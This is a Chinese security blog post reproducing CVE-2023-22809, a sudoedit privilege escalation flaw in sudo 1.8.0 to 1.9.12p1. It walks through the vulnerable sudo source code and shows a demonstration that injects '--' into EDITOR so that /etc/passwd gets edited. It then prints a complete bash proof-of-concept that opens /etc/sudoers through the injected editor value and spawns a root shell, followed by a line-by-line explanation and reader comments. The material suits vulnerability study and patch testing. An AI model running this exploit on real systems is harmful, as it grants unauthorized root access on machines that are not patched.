探索网络安全新技术
攀登黑客技术最高峰

CVE-2023-22809 Linux Sudo权限提升漏洞复现(含POC)

CVE-2023-22809 Linux Sudo权限提升漏洞复现(含POC)-威武网安

Sudo介绍

Sudo(su ” do”)是一种Linux/Unix系统下的命令行工具,用于允许系统管理员将权限委派给某些用户或用户组,以便他们能够以ROOT用户或其他用户身份运行部分或全部命令。Sudo的主要功能是在不暴露ROOT密码的情况下,允许普通用户以超级管理员权限执行命令,从而提高系统的安全性和可维护性。

漏洞概述

Sudo使用用户提供的环境变量让用户选择他们所选择的编辑器。其中一个环境变量可能会导致传递给sudo_edit()函数的实际命令被扩展。但是,sudo_edit()函数依赖于传递给它的参数来确定要编辑的文件列表。如果攻击者可以通过注入在已授权的环境变量中使用额外的参数来更改此列表,则可能导致特权升级,从而使攻击者能够编辑具有RunAs用户权限的任何其他文件。这个问题发生在sudoers之后,因此即使在sudoers策略中限制了用户的访问权限,攻击者仍然可以利用这个漏洞实现权限提升。

漏洞成因

该漏洞是由于Sudo中的sudoedit对处理用户提供的环境变量(如SUDO_EDITOR、VISUAL和EDITOR)中传递的额外参数存在缺陷而引起的。当用户指定的编辑器包含绕过sudoers策略的 ” –” 参数时,拥有sudoedit访问权限的本地攻击者可通过将任意条目附加到要处理的文件列表中,最终在目标系统上实现权限提升。此外,该漏洞还影响部分QNAP操作系统,如QTS、QuTS hero、QuTScloud、QVP(QVR Pro设备)。

漏洞分析

sudoers策略插件首先调用sudoers_policy_main()来处理查找和验证使用sudoers_lookup()的策略。然而,在此功能结束后,策略成功验证时,使用名为find_editor()的编辑器查找方法重写命令。这是一个关键的步骤,因为攻击者可以在此步骤中注入恶意参数,并利用此漏洞实现特权升级攻击。因此,在设计Sudo策略时,需要注意对find_editor()函数进行适当的参数验证和输入过滤,以避免此类漏洞的发生。

// plugins/sudoers/sudoers.c@sudoers_policy_main()
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
 bool verbose, void *closure)
{
 // [...]
 validated = sudoers_lookup(snl, sudo_user.pw, &cmnd_status, pwflag);
 // [...]
 if (ISSET(sudo_mode, MODE_EDIT)) {
 // [...]
 safe_cmnd = find_editor(NewArgc - 1, NewArgv + 1, &edit_argc, &edit_argv, NULL,
&env_editor, false);

该函数首先使用用户提供的三个环境变量执行编辑器查找文档,SUDO_EDITOR, VISUAL和EDITOR。

// plugins/sudoers/editor.c@find_editor()
char *
find_editor(int nfiles, char **files, int *argc_out, char ***argv_out,
 char * const *allowlist, const char **env_editor, bool env_error)
{
 // [...]
 *env_editor = NULL;
 ev[0] = "SUDO_EDITOR";
 ev[1] = "VISUAL";
 ev[2] = "EDITOR";
 for (i = 0; i < nitems(ev); i++) {
 char *editor = getenv(ev[i]);
 if (editor != NULL && *editor != '\0') {
 *env_editor = editor;
 editor_path = resolve_editor(editor, strlen(editor), nfiles, files,
argc_out, argv_out, allowlist);

如果存在,则将每个值发送到resolve_editor()进行解析。然而,后者不仅如此解析编辑器的路径,但也接受在最后的命令行中传递的额外参数。类中的文件分开,这些参数放在——(双破折号)参数之前原来的命令行。

// plugins/sudoers/editor.c@resolve_editor()
static char *
resolve_editor(const char *ed, size_t edlen, int nfiles, char **files,
 int *argc_out, char ***argv_out, char * const *allowlist)
{
 // [...]
 /*
 * Split editor into an argument vector, including files to edit.
 * The EDITOR and VISUAL environment variables may contain command
 * line args so look for those and alloc space for them too.
 */
 cp = wordsplit(ed, edend, &ep);
 // [...]
 editor = copy_arg(cp, ep – cp);
 /* Count rest of arguments and allocate editor argv. */
 for (nargc = 1, tmp = ep; wordsplit(NULL, edend, &tmp) != NULL; )
 nargc++;
 if (nfiles != 0)
 nargc += nfiles + 1;
 nargv = reallocarray(NULL, nargc + 1, sizeof(char *));
 // [...]
 /* Fill in editor argv (assumes files[] is NULL-terminated). */
 nargv[0] = editor;
 // [...]
 for (nargc = 1; (cp = wordsplit(NULL, edend, &ep)) != NULL; nargc++) {
 /* Copy string, collapsing chars escaped with a backslash. */
 nargv[nargc] = copy_arg(cp, ep - cp);
 // [...]
 }
 if (nfiles != 0) {
 nargv[nargc++] = "--";
 while (nfiles--)
 nargv[nargc++] = *files++;
 }
 nargv[nargc] = NULL;
 *argc_out = nargc;
 *argv_out = nargv;

然后使用生成的命令调用sudo_edit()函数。找到临时工作后可写目录(/var/tmp, /usr/tmp, /tmp或操作被取消),方法解析命令行提取要处理的文件列表。为此,前面的——(双破折号)参数是用作分隔符,其右边的每个参数都被视为要处理的文件名。

// src/sudo_edit.c@sudo_edit()
int
sudo_edit(struct command_details *command_details)
{
 // [...]
 /*
 * Set real, effective and saved uids to root.
 * We will change the euid as needed below.
 */
 setuid(ROOT_UID);
 // [...]
 /* Find a temporary directory writable by the user. */
 set_tmpdir(&user_details.cred);
 // [...]
 /*
 * The user's editor must be separated from the files to be
 * edited by a "--" option.
 */
 for (ap = command_details->argv; *ap != NULL; ap++) {
 if (files)
 nfiles++;
 else if (strcmp(*ap, "--") == 0)
 files = ap + 1;
 else
 editor_argc++;

在之前的环境中注入额外的双破折号时,这种行为会导致混乱用于查找编辑器的变量。

EDITOR='vim -- /path/to/extra/file'

使用这个值,命令行将被解析为:

vim -- /path/to/extra/file -- /path/from/policy

因此,假设采用以下策略,用户将能够通过编辑将权限升级到root系统中的敏感文件。

$ cat /etc/sudoers
user ALL=(ALL:ALL) sudoedit /etc/custom/service.conf
[...]
$ EDITOR='vim -- /etc/passwd' sudoedit /etc/custom/service.conf
sudoedit: --: editing files in a writable directory is not permitted
2 files to edit
sudoedit: /etc/custom/service.conf unchanged
$ tail -1 /etc/passwd
sudoedit::0:0:root:/root:/bin/bash

POC

#!/usr/bin/env bash
#
# Exploit Title: sudo 1.8.0 - 1.9.12p1 - Privilege Escalation
# 
# Exploit Author: n3m1.sys
# CVE: CVE-2023-22809
# Date: 2023/01/21
# Vendor Homepage: https://www.sudo.ws/
# Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz
# Version: 1.8.0 to 1.9.12p1
# Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9
#
# Running this exploit on a vulnerable system allows a localiattacker to gain 
# a root shell on the machine.
#
# The exploit checks if the current user has privileges to run sudoedit or 
# sudo -e on a file as root. If so it will open the sudoers file for the
# attacker to add a line to gain privileges on all the files and get a root 
# shell.
​
​
if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$'
then
    echo "> Currently installed sudo version is not vulnerable"
    exit 1
fi
​
​
EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-)
​
​
if [ -z "$EXPLOITABLE" ]; then
    echo "> It doesn't seem that this user can run sudoedit as root"
    read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
else
    echo "> BINGO! User exploitable"
fi
​
​
echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
echo "$USER ALL=(ALL:ALL) ALL"
read -n 1 -s -r -p "Press any key to continue..."
EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
sudo su root
exit 0

POC详解

这段代码是一段 Bash 脚本,主要用于检查本地的 sudo 版本是否存在漏洞,并检查当前用户是否有权限通过 sudoedit 命令来提权。

首先,通过执行命令 “sudo –version” 获取 sudo 版本信息,并使用管道符号将其传递给 head 和 grep 命令进行处理。通过正则表达式来匹配特定版本号的 sudo 软件是否安装在本地系统中,如果不是,则输出 “Currently installed sudo version is not vulnerable” 并退出脚本。

接下来,使用 sudo -l 命令检查当前用户是否有权限运行 sudoedit 或 sudo -e 命令,如果有,则将可执行的命令存储在 EXPLOITABLE 变量中。如果没有权限,则输出 “It doesn’t seem that this user can run sudoedit as root”,并提示用户是否要继续执行脚本。

最后,脚本会输出一条信息,提示用户将 “$USER ALL=(ALL:ALL) ALL” 添加到 /etc/sudoers 文件中,以便进行提权操作。然后,脚本使用 $EXPLOITABLE 变量执行编辑器 (vim) 来打开 /etc/sudoers 文件,并以 root 身份登录。如果一切顺利,最后会输出 “BINGO! User exploitable” 表示用户拥有 sudoedit 命令的 root 权限。

赞(0) 打赏
版权声明:本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
文章名称:《CVE-2023-22809 Linux Sudo权限提升漏洞复现(含POC)》
文章链接:https://www.wevul.com/315.html
本站所有内容均来自互联网,只限个人技术研究,禁止商业用途,请下载后24小时内删除。

评论 7

  1. #2

    您好,想问一下exp中 “Opening sudoers file, please add the following line to the file in order to do the privesc:”这一步是怎么做到的?他是让攻击者自己在sudoers文件里加上吗?还是exp自己可以自动加进去,如果是exp自己加进去的,是怎么可以编辑sudoers文件的呢?

    ll9个月前 (05-29)回复
    • 复现过程:https://www.wevul.com/333.html

      heidashuai9个月前 (05-29)回复
      • 感谢,但是我就是不明白在没有sudoedit权限的情况下,运行这个poc也可以提权,这是怎么做到的呢

        ll9个月前 (05-29)回复
        • 执行的前提是要对电脑中至少一个文件具有sudoedit 权限

          heidashuai9个月前 (05-29)回复
          • 哦哦 那他就是要有两个前提,一个是版本范围,一个是具有sudoedit权限。感谢您

            ll9个月前 (05-29)回复
  2. #1

    感谢大佬!?

    小V11个月前 (04-06)回复

如果文章对你有帮助 可以打赏一下文章作者

非常感谢你的打赏,我们将继续提供更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫打赏

微信扫一扫打赏

登录

找回密码

注册